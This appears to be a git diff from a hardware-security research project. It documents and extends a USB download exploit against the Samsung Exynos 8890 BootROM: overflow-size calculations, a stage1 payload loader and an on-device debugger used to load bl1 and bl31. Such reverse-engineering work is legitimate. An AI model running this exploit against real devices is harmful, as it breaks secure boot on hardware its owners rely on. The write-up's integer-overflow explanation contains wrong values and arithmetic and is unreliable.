diff --git a/.gitignore b/.gitignore index d86fd80..8ca300e 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,6 @@ dump/ *.bin *.a -venv/ \ No newline at end of file +venv/ +reven/ +!dump/exynos-usbdl/ diff --git a/README.md b/README.md index 8e7a2fa..e0f8224 100644 --- a/README.md +++ b/README.md @@ -9,4 +9,6 @@ python3 -m venv venv pip install -r requirements.txts ``` -To get to work, run `source/exploit/exploit.py` \ No newline at end of file +To get to work, run `source/exploit/exploit.py` + +To view documentation, ensure you have sphinx installed. If not, run `sudo apt install python3-sphinx`. Then proceed to build the documentation by running `make livehtml`. \ No newline at end of file diff --git a/documentation/source/BootROM_8890/boot_chain.rst b/documentation/source/BootROM_8890/boot_chain.rst index f281a02..d49e4c0 100644 --- a/documentation/source/BootROM_8890/boot_chain.rst +++ b/documentation/source/BootROM_8890/boot_chain.rst @@ -3,11 +3,127 @@ Booting ======= After exploitation the goal is to fully boot the device. +Current boot chain: + +.. figure:: images/boot_chain.drawio.svg + :align: center + + Boot chain + debugger ======== Some other information about the debugger and it's current state. -ROM ---- +bl1 +=== + +Loads at address ``0x02024000`` and contains some form of header. +There seems to be a samsung header format, where the first 4 bytes define the entry point of the binary. +In this case this entry is ``+0x10`` so we jump to ``0x02024010``. + +.. code-block:: python + + fwbl1 = open("../S7/bl1.bin", "rb").read() + self.cd.memwrite_region(0x02024000, fwbl1) + + def jump_fwbl1(): + self.cd.arch_dbg.state.LR = 0x2069000 + self.cd.restore_stack_and_jump(0x02024010) + + jump_fwbl1() + +However, this does not result in a jump back to the debugger. +The reason for this is the following code in bl1: + +.. code-block:: c + + iVar3 = FUN_02024320(); + if (iVar3 == 1) { + (*(code *)(ulong)uRam0000000002020108)(0,1); + } + +This code uses a predefined ROM function(I was looking for it) and jumps back to that function when it's done. +This function is at address ``0x020200e8``, looking in our IMEM dump we can see where in the ROM this points to: + +.. code-block:: c + + DAT_02020108 XREF[2]: FUN_00001708:000018b4(W), + FUN_02021970:02021a40(R) + 02020108 90 57 00 00 undefined4 00005790h + +Replacing this function with our debugger makes us jump back: + +.. code-block:: python + + # Overwrite jump back + self.cd.memwrite_region(0x02020108, p32(0x2069000)) + self.cd.memwrite_region(0x020200e8, p32(0x2069000)) + + def jump_bl1(): + self.cd.arch_dbg.state.LR = 0x2069000 + self.cd.restore_stack_and_jump(0x02024010) + # self.cd.restore_stack_and_jump(0x02021810) + + bl1 = open("../S7/bl1.bin", "rb").read() + self.cd.memwrite_region(0x02024000, bl1) + self.usb_write(b"FLSH") + + # auth_bl1() + jump_bl1() + assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?" + self.cd.arch_dbg.state.print_ctx() + + root | DEBUG | + X0 : 0xc00000 | X1 : 0x2069000 | X2 : 0x0 | X3 : 0x2023114 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 | + X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 | + X14 : 0xf | X15 : 0x206d000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x20200e8 | X20 : 0x0 | + X21 : 0x80000000 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 | + X28 : 0x0 | X29 : 0x2020ed8 | LR/X30 : 0x202419c | SP/X31 : 0x2020ec0 + +However this does not fully run bl1, so we will have to dig a bit deeper to see the puropose and when to jump back to the debugger. + +purpose +------- +bl1 interacts with several pheriperals, from the DTB these are: + +.. code-block:: dtsi + + /* FSYS0 */ + pinctrl_5: pinctrl@10E60000 { + compatible = "samsung,exynos8890-pinctrl"; + reg = <0x0 0x10E60000 0x1000>; + interrupts = <0 212 0>; + }; + + /* FSYS1 */ + pinctrl_6: pinctrl@15690000 { + compatible = "samsung,exynos8890-pinctrl"; + reg = <0x0 0x15690000 0x1000>; + interrupts = <0 202 0>; + }; + + /* PERIC1 */ + pinctrl_9: pinctrl@14CC0000 { + compatible = "samsung,exynos8890-pinctrl"; + reg = <0x0 0x14CC0000 0x1000>; + interrupts = <0 460 0>; + }; + + pmu_system_controller: system-controller@105C0000 { + compatible = "samsung,exynos8890-pmu", "syscon"; + reg = <0x0 0x105C0000 0x10000>; + }; + + rtc@10070000 { + compatible = "samsung,s3c6410-rtc"; + reg = <0x0 0x10070000 0x100>; + interrupts = <0 73 0>, <0 74 0>; + clocks = <&clock 157>; + clock-names = "gate_rtc"; + }; +BL31 +---- + +Setups EL3 stuff, probably in preperation of loading trustzone \ No newline at end of file diff --git a/documentation/source/BootROM_8890/images/boot_chain.drawio.svg b/documentation/source/BootROM_8890/images/boot_chain.drawio.svg new file mode 100644 index 0000000..7ae49dc --- /dev/null +++ b/documentation/source/BootROM_8890/images/boot_chain.drawio.svg @@ -0,0 +1 @@ +
Exploit
Stage1
Debugger
BL1
BL31
\ No newline at end of file diff --git a/documentation/source/BootROM_8890/images/dl_data_struct.png b/documentation/source/BootROM_8890/images/dl_data_struct.png new file mode 100644 index 0000000..2917443 Binary files /dev/null and b/documentation/source/BootROM_8890/images/dl_data_struct.png differ diff --git a/documentation/source/BootROM_8890/images/max_allowed_chunck_size.jpeg b/documentation/source/BootROM_8890/images/max_allowed_chunck_size.jpeg new file mode 100644 index 0000000..3f3bae0 Binary files /dev/null and b/documentation/source/BootROM_8890/images/max_allowed_chunck_size.jpeg differ diff --git a/documentation/source/BootROM_8890/images/memory_layout.drawio.svg b/documentation/source/BootROM_8890/images/memory_layout.drawio.svg index ab60338..9f190f6 100644 --- a/documentation/source/BootROM_8890/images/memory_layout.drawio.svg +++ b/documentation/source/BootROM_8890/images/memory_layout.drawio.svg @@ -1 +1 @@ -
BootROM
0x0
0x20000
Devices
PMU
0x105C0000
IMEM? EXYNOS NAME HERE
0x?????
0x?????
\ No newline at end of file +
BootROM
0x0
0x20000
Devices
PMU
0x105C0000
Exynos IMEM
0x2020000
0x2070000
\ No newline at end of file diff --git a/documentation/source/BootROM_8890/images/usb_payload_size_check.jpeg b/documentation/source/BootROM_8890/images/usb_payload_size_check.jpeg new file mode 100644 index 0000000..741378c Binary files /dev/null and b/documentation/source/BootROM_8890/images/usb_payload_size_check.jpeg differ diff --git a/documentation/source/BootROM_8890/images/usb_setup_ready_to_0.png b/documentation/source/BootROM_8890/images/usb_setup_ready_to_0.png new file mode 100644 index 0000000..8e51e3e Binary files /dev/null and b/documentation/source/BootROM_8890/images/usb_setup_ready_to_0.png differ diff --git a/documentation/source/BootROM_8890/index.rst b/documentation/source/BootROM_8890/index.rst index 08498ad..143a0fa 100644 --- a/documentation/source/BootROM_8890/index.rst +++ b/documentation/source/BootROM_8890/index.rst @@ -110,19 +110,55 @@ Other general device descriptors are also sent from the device to the host (to d Data is transferred via Transfer Request Blocks (TRB), dwc3_depcmd_starttransfer is used. The TRB then contains a buffer address, where transferred data from the host is written to. The buffer allocation is done by 'usb_setup_event_buffer', which sets bufferHigh (DWC3_GEVNTADRLO), bufferLow (DWC3_GEVNTADRHI) and bufferSize (DWC3_GEVNTSIZ). -Bug 1(Integer underflow) +Bug 1 (Integer overflow) ------------------------ Originally described in this `blogpost `_. The exynos bootrom uses a simple USB protocol to receive a bootloader binary from a USB host. The binary sent is called 'dldata'. In Ghidra, at 21518, we can see that it consists of unit32_t: ready?, uint32: size, ? : data, uint16: footer. The contents of this data are checked before being being written. +.. figure:: images/usb_setup_ready_to_0.png + + The ready flag is set to 0 in the Exynos 8890 BootROM in an earlier function on pdVar1->size (pdVar1.size) + +.. figure:: images/dl_data_struct.png + + The dldata struct in the Exynos 8890 BootROM + .. code:: c if ((pdVar1->size < 0x206ffff) && (0x206ffff < pdVar1->size + remaining)) { *(undefined *)&pdVar1->ready = 2; } -In essence, in the first conditions, it checks whether the size is smaller than 0x206fff (`pdVar1->size < 0x206ffff`) (34013183 in decimal), and in the second condition, it checks whether 0x206ffff is smaller than the size + remaining (`0x206ffff < pdVar1->size + remaining`). If both conditions are met, the ready flag is set to 2, and the function below to execute the *payload*, will NOT execute! +In essence, the payload is not allowed to be larger than 0x206fff (34013183), it checks so with 2 seperate checks +1) In the first condition, the size has to be smaller than 0x206ffff (`pdVar1->size < 0x206ffff`) (34013183 in decimal), +2) and in the second condition, it checks whether 0x206ffff is indeed still less than the size of the payload + remaining (size + remaining)(`0x206ffff < pdVar1->size + remaining`). +If both conditions are met, the payload will NOT be loaded. But this makes sense, as both checks just ensure that the payload is not larger than 0x206ffff. + +The bug is however, that the check that the check is done on a uint32_t (2^32 = 4294967296), but the max value that can be checked by a uint32 is 0xFDFDE7FF = 4294967295. So a value of 0xFDFDE7FF + 1 = 0xFDFDE800 = 4294967296, which is larger than the max value of a uint32. So if a payload of this size or more is used, which is much larger than the max requested value 0x206ffff, the check will pass and the payload will still be loaded. + +.. figure:: images/usb_payload_size_check.jpeg + + The size check in the Exynos 8890 BootROM + +Sending such large amounts of data can cause a memory overflow, and will cause the target to crash. Not interesting for exploitation in this context. However, the USB packages that are sent, are split into smaller packages with a size of 0xFFFE00. + +.. figure:: images/max_allowed_chunck_size.jpeg + + The max allowed chunk size, after which the payload is split. + +The dl_buf pointer is set to the amount it expects to write, instead to the amount that it has written. By transferring a large amount of data, without actually writing it (so in a package, send no data, but tell the target that you're sending data with a length larger than 0xFDFDE800), will cause the pointer to move, without actually writing data. + +The trick then becomes, to get the pointer to an address we would like to exploit unto. Then we have a little less than 512 bytes (502 according to dldata) to write our payload. + +.. code:: c + + typedef struct dldata_s { + u_int32_t ready; //start = 02021518, end = 0202151C. Length = 4 + u_int32_t size; //start = 0202151C, end = 02021520. Length = 4 + u_int8_t data[n]; //start = 02021520, end = 02021714. Length = 502 == MAX TRANSFER SIZE + u_int16_t footer; //start = 02021714, end = 02021716. Length = 2 + } dldata; Bug 2 ----- @@ -131,7 +167,6 @@ Bug 2 Might be a 0/N-day if exploitable - @ELHER There is a bug(unpatched?) in receiving the last packet of the usb image: diff --git a/documentation/source/conf.py b/documentation/source/conf.py index 71a2f9e..6238d8d 100644 --- a/documentation/source/conf.py +++ b/documentation/source/conf.py @@ -14,7 +14,6 @@ author = 'Eljakim, Jonathan' # https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration extensions = [ 'myst_parser', - 'sphinx_rtd_theme', 'sphinx.ext.todo', 'sphinxcontrib.confluencebuilder', "sphinxcontrib.drawio", diff --git a/requirements.txt b/requirements.txt index 435a090..e26a33f 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,3 +1,13 @@ +sphinx +sphinx-autobuild sphinx-rtd-theme sphinxcontrib.confluencebuilder sphinxcontrib.drawio +myst_parser +libusb1 +pyusb +ghidra_bridge +tqdm +pyhidra +sphinxcontrib.confluencebuilder +sphinxcontrib.drawio \ No newline at end of file diff --git a/reven/SamsungS7.lock b/reven/SamsungS7.lock index 516725f..def5a59 100644 --- a/reven/SamsungS7.lock +++ b/reven/SamsungS7.lock @@ -1,9 +1,9 @@ #Ghidra Lock File -#Sat Aug 03 17:14:04 CEST 2024 +#Fri Aug 09 11:27:43 CEST 2024 OS\ Name=Linux OS\ Version=6.5.0-44-generic Username=eljakim Hostname=levith \ Supports\ File\ Channel\ Locking=Channel Lock OS\ Architecture=amd64 -Timestamp=8/3/24, 5\:14 PM +Timestamp=8/9/24, 11\:27 AM diff --git a/reven/SamsungS7.rep/idata/~index.bak b/reven/SamsungS7.rep/idata/~index.bak index 3dd0917..5a40409 100644 --- a/reven/SamsungS7.rep/idata/~index.bak +++ b/reven/SamsungS7.rep/idata/~index.bak @@ -1,11 +1,13 @@ VERSION=1 / - 00000002:8890_bootrom.bin:7f0119bc3142241939494339 + 00000006:8890_bootrom.bin:7f0119bc3142241939494339 + 00000002:8890_bootrom.bin.keep:7f011889d240069673442230 /mib3 00000000:full_boot:7f0118059140616855428589 /s7 + 00000007:fwbl1.bin:7f011a0d5252765509589854 00000003:sboot.bin.2.bin:7f011ab837995028720085 00000004:sboot.bin.3.bin:7f011872b8163836628792 00000005:sboot.bin.4.bin:7f011842b8231996037592 -NEXT-ID:6 +NEXT-ID:8 MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/reven/SamsungS7.rep/idata/~index.dat b/reven/SamsungS7.rep/idata/~index.dat index 3dd0917..e8f01e6 100644 --- a/reven/SamsungS7.rep/idata/~index.dat +++ b/reven/SamsungS7.rep/idata/~index.dat @@ -1,11 +1,13 @@ VERSION=1 / - 00000002:8890_bootrom.bin:7f0119bc3142241939494339 + 00000006:8890_bootrom.bin:7f0119bc3142241939494339 + 00000002:8890_bootrom.bin.keep:7f011889d240069673442230 /mib3 00000000:full_boot:7f0118059140616855428589 /s7 - 00000003:sboot.bin.2.bin:7f011ab837995028720085 + 00000007:bl1.bin:7f011a0d5252765509589854 + 00000003:bl31.bin:7f011ab837995028720085 00000004:sboot.bin.3.bin:7f011872b8163836628792 00000005:sboot.bin.4.bin:7f011842b8231996037592 -NEXT-ID:6 +NEXT-ID:8 MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/reven/SamsungS7.rep/user/~index.bak b/reven/SamsungS7.rep/user/~index.bak index f0bb25d..77d0dfb 100644 --- a/reven/SamsungS7.rep/user/~index.bak +++ b/reven/SamsungS7.rep/user/~index.bak @@ -1,8 +1,9 @@ VERSION=1 / 00000000:udf_7f0118059140616855428589:7f0118d0b142268235940037 + 00000004:udf_7f011842b8231996037592:7f01190f112184430945139 00000003:udf_7f011872b8163836628792:7f011a9478217161533597 00000001:udf_7f0119bc3142241939494339:7f011abb7142807435236045 00000002:udf_7f011ab837995028720085:7f0118cdd8148515697603 -NEXT-ID:4 +NEXT-ID:5 MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/reven/SamsungS7.rep/user/~index.dat b/reven/SamsungS7.rep/user/~index.dat index 77d0dfb..257c699 100644 --- a/reven/SamsungS7.rep/user/~index.dat +++ b/reven/SamsungS7.rep/user/~index.dat @@ -4,6 +4,7 @@ VERSION=1 00000004:udf_7f011842b8231996037592:7f01190f112184430945139 00000003:udf_7f011872b8163836628792:7f011a9478217161533597 00000001:udf_7f0119bc3142241939494339:7f011abb7142807435236045 + 00000005:udf_7f011a0d5252765509589854:7f0118e15255467845445248 00000002:udf_7f011ab837995028720085:7f0118cdd8148515697603 -NEXT-ID:5 +NEXT-ID:6 MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/reven/SamsungS7.rep/user/~journal.bak b/reven/SamsungS7.rep/user/~journal.bak index ae0f201..d9b4d50 100644 --- a/reven/SamsungS7.rep/user/~journal.bak +++ b/reven/SamsungS7.rep/user/~journal.bak @@ -1,2 +1,2 @@ -IADD:00000004:/udf_7f011842b8231996037592 -IDSET:/udf_7f011842b8231996037592:7f01190f112184430945139 +IADD:00000005:/udf_7f011a0d5252765509589854 +IDSET:/udf_7f011a0d5252765509589854:7f0118e15255467845445248 diff --git a/source/S7/fwbl1.bin b/source/S7/bl1.bin similarity index 100% rename from source/S7/fwbl1.bin rename to source/S7/bl1.bin diff --git a/source/exploit/exploit.py b/source/exploit/exploit.py index c8b46ff..917bc2f 100644 --- a/source/exploit/exploit.py +++ b/source/exploit/exploit.py @@ -1,4 +1,4 @@ -import usb.util +import usb.util, usb.core import struct, sys, usb1, libusb1, ctypes, usb, argparse from keystone import * from capstone import * @@ -24,17 +24,17 @@ logger.setLevel(logging.DEBUG) BLOCK_SIZE = 512 CHUNK_SIZE = 0xfffe00 -MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) +MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) # 512, - 10 for ready (4), size (4), footer (2) DL_BUFFER_START = 0x02021800 -DL_BUFFER_SIZE = 0x4E800 #0x02070000 End +DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000 BOOTROM_START = 0x0 BOOTROM_SIZE = 0x20000 #128Kb TARGET_OFFSETS = { # XFER_BUFFER, RA_PTR, XFER_END_SIZE - "8890": (0x02021800, 0x02020F08, 0x02070000), + "8890": (0x02021800, 0x02020F08, 0x02070000), #0x206ffff on exynos 8890 "8895": (0x02021800, 0x02020F18, 0x02070000) } @@ -54,18 +54,18 @@ class ExynosDevice(): self.connect_device() def connect_device(self): + """Wait for proper connection to the device""" self.context = usb1.USBContext() while True: self.handle = self.context.openByVendorIDAndProductID( vendor_id=self.idVendor, product_id=self.idProduct, - skip_on_error=True + skip_on_error=False ) if self.handle == None: continue break - - print("Connected device!") + print(f"Connected device! {self.idVendor} {self.idProduct}") def write(self, data): transferred = ctypes.c_int() @@ -100,6 +100,7 @@ class ExynosDevice(): res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10) pass + def test_bug(self): # Start by sending a valid packet # Integer overflow in the size field @@ -128,14 +129,16 @@ class ExynosDevice(): def exploit(self, payload: bytes): ''' - Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload + Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload. ''' current_offset = TARGET_OFFSETS[self.target][0] + xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer transferred = ctypes.c_int() - size_to_overflow = 0x100000000 - current_offset + TARGET_OFFSETS[self.target][1] + 8 + 6 + size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2) + #size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 max_payload_size = 0x100000000 - size_to_overflow - ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) + ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) # # max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1] # max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200 @@ -152,7 +155,7 @@ class ExynosDevice(): cnt = 0 while True: - if current_offset + CHUNK_SIZE >= TARGET_OFFSETS[self.target][1] and current_offset < TARGET_OFFSETS[self.target][1]: + if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start: break self.send_empty_transfer() current_offset += CHUNK_SIZE @@ -219,26 +222,82 @@ class ExynosDevice(): Room for playing around with the debugger ''' self.cd.arch_dbg.state.auto_sync = False + self.cd.arch_dbg.state.auto_sync_special = False self.cd.arch_dbg.state.print_ctx() + def relocate_debugger(): + # Seems to be cleared upon cache clearing?? + debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read() + self.cd.memwrite_region(0x020c0000, debugger_reloc) + self.usb_write(b"FLSH") # Flush cache + self.cd.restore_stack_and_jump(0x020c0000) + assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger" + self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000) + relocate_debugger() + + # Try loading bl1 + bl1 = open("../S7/bl1.bin", "rb").read() + self.cd.memwrite_region(0x02021800, bl1) + # self.usb_write(b"FLSH") AUTH_BL1 = 0x00012848 + def auth_bl1(lr=0x2069000): + # Load the firmware + self.cd.arch_dbg.state.W0 = 1 + self.cd.arch_dbg.state.X1 = 1 + self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished + self.cd.restore_stack_and_jump(AUTH_BL1) + assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" + + auth_bl1(0x020c0000) + + # Works until here + + pass + + + + # Overwrite jump back + self.cd.memwrite_region(0x02020108, p32(0x2069000)) + self.cd.memwrite_region(0x020200e8, p32(0x2069000)) + def memdump_try(): dumped = b"" for block in range(0x2020000, 0x2200000, 0x200): print(hex(block)) dumped += self.cd.memdump_region(block, 0x200) - def auth_bl1(): - # Load the firmware - self.cd.arch_dbg.state.X0 = 1 - self.cd.arch_dbg.state.X1 = 1 - self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished - self.cd.restore_stack_and_jump(AUTH_BL1) - fwbl1 = open("../S7/fwbl1.bin", "rb").read() - self.cd.memwrite_region(0x02021800, fwbl1) - memdump_try() + + def jump_bl1(): + self.cd.arch_dbg.state.LR = 0x2069000 + self.cd.restore_stack_and_jump(0x02024010) + # self.cd.restore_stack_and_jump(0x02021810) + + #000125b4 + # self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished + # self.cd.restore_stack_and_jump(0x00012814) + # self.cd.restore_stack_and_jump(0x000125b4) + + + auth_bl1() + + # auth_bl1() + jump_bl1() + assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?" + self.cd.arch_dbg.state.print_ctx() + + def jump_bl31(): + self.cd.arch_dbg.state.LR = 0x2069000 + self.cd.restore_stack_and_jump(0x02021810) + bl31 = open("../S7/bl31.bin", "rb").read() + self.cd.memwrite_region(0x02021800, bl31) + jump_bl31() + assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?" + self.cd.arch_dbg.state.print_ctx() + + # memdump_try() + # auth_bl1() self.cd.arch_dbg.state.print_ctx() #authenticate it @@ -303,15 +362,17 @@ def usb_debug(): send_data() recv_data() count += 1 - pass - pass + if __name__ == "__main__": arg = argparse.ArgumentParser("Exynos exploit") arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False) + + # Debug mode args = arg.parse_args() if args.debug: usb_debug() sys.exit(0) + exynos = ExynosDevice() exynos.run_boot_chain() diff --git a/source/exploit/stage1/stage1.c b/source/exploit/stage1/stage1.c index 63f3f12..052ad0b 100644 --- a/source/exploit/stage1/stage1.c +++ b/source/exploit/stage1/stage1.c @@ -33,7 +33,8 @@ void recv_data(uint32_t address, uint32_t size){ dwc3_ep0_start_trans(2, rbuf, 0x200); while(1){ usb_event_handler(); - if(*(uint8_t *)dref == 1){ + volatile val = *(volatile uint8_t *)dref; + if(val == 1){ break; } } @@ -73,6 +74,10 @@ int main() { recv_data(0x2069000 + block, block_sz); } + // clear cache + // __asm__ __volatile__("ic iallu\n\t" : : :"memory"); + // __asm__ __volatile__("ic ialluis\n\t" : : :"memory"); + // Create function at debugger_location void (*custom_func)() = (void*)0x2069000; //mem_off; custom_func(); diff --git a/source/gupje_device/.gitignore b/source/gupje_device/.gitignore new file mode 100644 index 0000000..e69de29 diff --git a/source/gupje_device/Makefile b/source/gupje_device/Makefile new file mode 100644 index 0000000..62d0aa5 --- /dev/null +++ b/source/gupje_device/Makefile @@ -0,0 +1,28 @@ +ifeq ($(ANDROID_NDK_ROOT),) +$(error Error : Set the env variable 'ANDROID_NDK_ROOT' with the path of the Android NDK (version 20)) +endif + +CC := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android27-clang +AR := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ar +OBJCOPY := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-objcopy +LD := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ld.bfd + +#==================Target Samsung S7 (8890)================== +all: samsung_s7 samsung_s7_reloc + +CFLAGS_SAMSUNGS7 = -Os -Idevices/samsung_s7/ +samsung_s7: + [ -d bin/samsung_s7 ] || mkdir -p bin/samsung_s7/ + $(CC) arm64_stub.S -c -o bin/samsung_s7/entry.o $(CFLAGS_SAMSUNGS7) + $(CC) debugger.c -c -o bin/samsung_s7/debugger.o $(CFLAGS_SAMSUNGS7) + $(LD) -T devices/samsung_s7/linkscript.ld bin/samsung_s7/entry.o bin/samsung_s7/debugger.o -o bin/samsung_s7/debugger.elf --just-symbols=devices/samsung_s7/symbols.txt + $(OBJCOPY) -O binary bin/samsung_s7/debugger.elf bin/samsung_s7/debugger.bin + +CFLAGS_SAMSUNGS7_RELOC = -Os -DRELOC_DEBUGGER=1 -Idevices/samsung_s7/ +samsung_s7_reloc: + [ -d bin/samsung_s7 ] || mkdir -p bin/samsung_s7/ + $(CC) arm64_stub.S -c -o bin/samsung_s7/reloc_entry.o $(CFLAGS_SAMSUNGS7_RELOC) + $(CC) debugger.c -c -o bin/samsung_s7/reloc_debugger.o $(CFLAGS_SAMSUNGS7_RELOC) + $(LD) -T devices/samsung_s7/reloc_linkscript.ld bin/samsung_s7/reloc_entry.o bin/samsung_s7/reloc_debugger.o -o bin/samsung_s7/reloc_debugger.elf --just-symbols=devices/samsung_s7/reloc_symbols.txt + $(OBJCOPY) -O binary bin/samsung_s7/reloc_debugger.elf bin/samsung_s7/reloc_debugger.bin + diff --git a/source/gupje_device/Readme.md b/source/gupje_device/Readme.md new file mode 100644 index 0000000..0e89de2 --- /dev/null +++ b/source/gupje_device/Readme.md @@ -0,0 +1,17 @@ +# Gupje +Current memory map: + +## Stage 2 +Memory map in stage2 after exploitation +![memory map](memory_map.drawio.svg) + +## Stage 3 +Memory map in stage3 after relocating the debugger + + +## Usage: +Copy this folder to /devices/samsung_s7 and run: + +```bash +make -f devices/samsung_s7/Makefile +``` \ No newline at end of file diff --git a/source/gupje_device/device.h b/source/gupje_device/device.h new file mode 100644 index 0000000..e3e78ff --- /dev/null +++ b/source/gupje_device/device.h @@ -0,0 +1,92 @@ +#include +#include + +// Create external function at 0x00006f88 +extern void maybe_usb_setup_read(char endpoint,void *fun,uint32_t target_buffer); +extern void dwc3_ep0_start_trans(char endpoint,uint32_t target_buf, uint32_t len); +extern int usb_event_handler(void); +extern uint32_t get_endpoint_recv_buffer(char endpoint); +extern void exynos_sleep(int endpoint,uint32_t timeout); +extern void usb_send(uint32_t address,uint32_t size); +extern uint32_t recv_buffer; +extern uint32_t data_received; + +int mystrlen(char *data) { + int i=0; + while(1) { + if(data[i++] == '\0'){ + break; + } + } + return i-1; +} + +#ifdef RELOC_DEBUGGER +#define recv_buffer 0x020c6200 +#define data_received 0x020c6000 +#else +#define recv_buffer 0x206fe00 //0x02021800 + 0x3000 +#define data_received 0x206fd00 +#endif + +void recv_data_cb(uint32_t endpoint, uint32_t len){ + char *dest_buf = (char *)recv_buffer; + volatile void *dref = (void *)data_received; + + void *rbuf = get_endpoint_recv_buffer(endpoint); + for(int i= 0; i < len; i++){ + dest_buf[i] = *(char *)(void *)((int)rbuf + i); + } + *(uint8_t *)dref = 1; // Mark as ready +} + +void recv_data(void *address, uint32_t size){ + // + volatile void *dref = (void *)data_received; + *(uint8_t *)dref = 0; + + maybe_usb_setup_read(2, recv_data_cb, size); + uint32_t rbuf = get_endpoint_recv_buffer(2); + dwc3_ep0_start_trans(2, rbuf, size); + while(1){ + usb_event_handler(); + if(*(uint8_t *)dref == 1){ + break; + } + // exynos_sleep(2, 1000); + } + // Copy to destination location + char *dest_buf = (uint64_t)address; + for(int i= 0; i < size; i++){ + dest_buf[i] = *(char *)(void *)((int)recv_buffer + i); + } +} + +void send_data_cb(uint32_t endpoint, uint32_t len){ + // Tell event handler that the data was received + volatile void *dref = (void *)data_received; + *(uint8_t *)dref = 1; // Mark as ready +} + +void send(void *address, uint32_t size, uint32_t *error){ + volatile void *dref = (void *)data_received; + *(uint8_t *)dref = 0; + maybe_usb_setup_read(0x1, send_data_cb, size); + // uint32_t rbuf = get_endpoint_recv_buffer(1); + dwc3_ep0_start_trans(1, (uint64_t)address, size); + while(1){ + usb_event_handler(); + if(*(uint8_t *)dref == 1){ + break; + } + // exynos_sleep(1, 1000); + } +} + +void usb_log(char * msg, uint32_t * error){ + send(msg, mystrlen(msg), error); +} + +void concrete_main(uint64_t debugger){ + +} \ No newline at end of file diff --git a/source/gupje_device/linkscript.ld b/source/gupje_device/linkscript.ld new file mode 100644 index 0000000..4390407 --- /dev/null +++ b/source/gupje_device/linkscript.ld @@ -0,0 +1,14 @@ +MEMORY { + ROM (rwx): ORIGIN = 0x2069000, LENGTH = 0x1000 +} + +SECTIONS +{ + . = 0x2069000; + .text . : { + *(.text*) + *(.data*) + *(.rodata*) + } >ROM + +} \ No newline at end of file diff --git a/source/gupje_device/memory_map.drawio.svg b/source/gupje_device/memory_map.drawio.svg new file mode 100644 index 0000000..d2bcab0 --- /dev/null +++ b/source/gupje_device/memory_map.drawio.svg @@ -0,0 +1 @@ +
USB Download buffer
0x02021800
0x02070000
stage1 (502 bytes)
0x2021a00
0x206fe00
usb_recv buffer (512 bytes)
0x2069000
Gupje (0x6000 bytes reserved)
Unknown IMEM?
0x2????????
BootROM
0x0
\ No newline at end of file diff --git a/source/gupje_device/reloc_linkscript.ld b/source/gupje_device/reloc_linkscript.ld new file mode 100644 index 0000000..3d1a536 --- /dev/null +++ b/source/gupje_device/reloc_linkscript.ld @@ -0,0 +1,14 @@ +MEMORY { + ROM (rwx): ORIGIN = 0x020c0000, LENGTH = 0x1000 +} + +SECTIONS +{ + . = 0x020c0000; + .text . : { + *(.text*) + *(.data*) + *(.rodata*) + } >ROM + +} \ No newline at end of file diff --git a/source/gupje_device/reloc_symbols.txt b/source/gupje_device/reloc_symbols.txt new file mode 100644 index 0000000..bab33dc --- /dev/null +++ b/source/gupje_device/reloc_symbols.txt @@ -0,0 +1,12 @@ +debugger_storage = 0x020c4000; +debugger_stack = 0x020c2000; +debugger_entry = 0x020c0000; + +maybe_usb_setup_read = 0x00006f88; +dwc3_ep0_start_trans = 0x0000791c; +usb_event_handler = 0x00007bac; +get_endpoint_recv_buffer = 0x00007a7c; +exynos_sleep = 0x000027c8; + +g_recv_buffer = 0x020c6200; +g_data_received = 0x020c6000; \ No newline at end of file diff --git a/source/gupje_device/symbols.txt b/source/gupje_device/symbols.txt new file mode 100644 index 0000000..d1f0867 --- /dev/null +++ b/source/gupje_device/symbols.txt @@ -0,0 +1,11 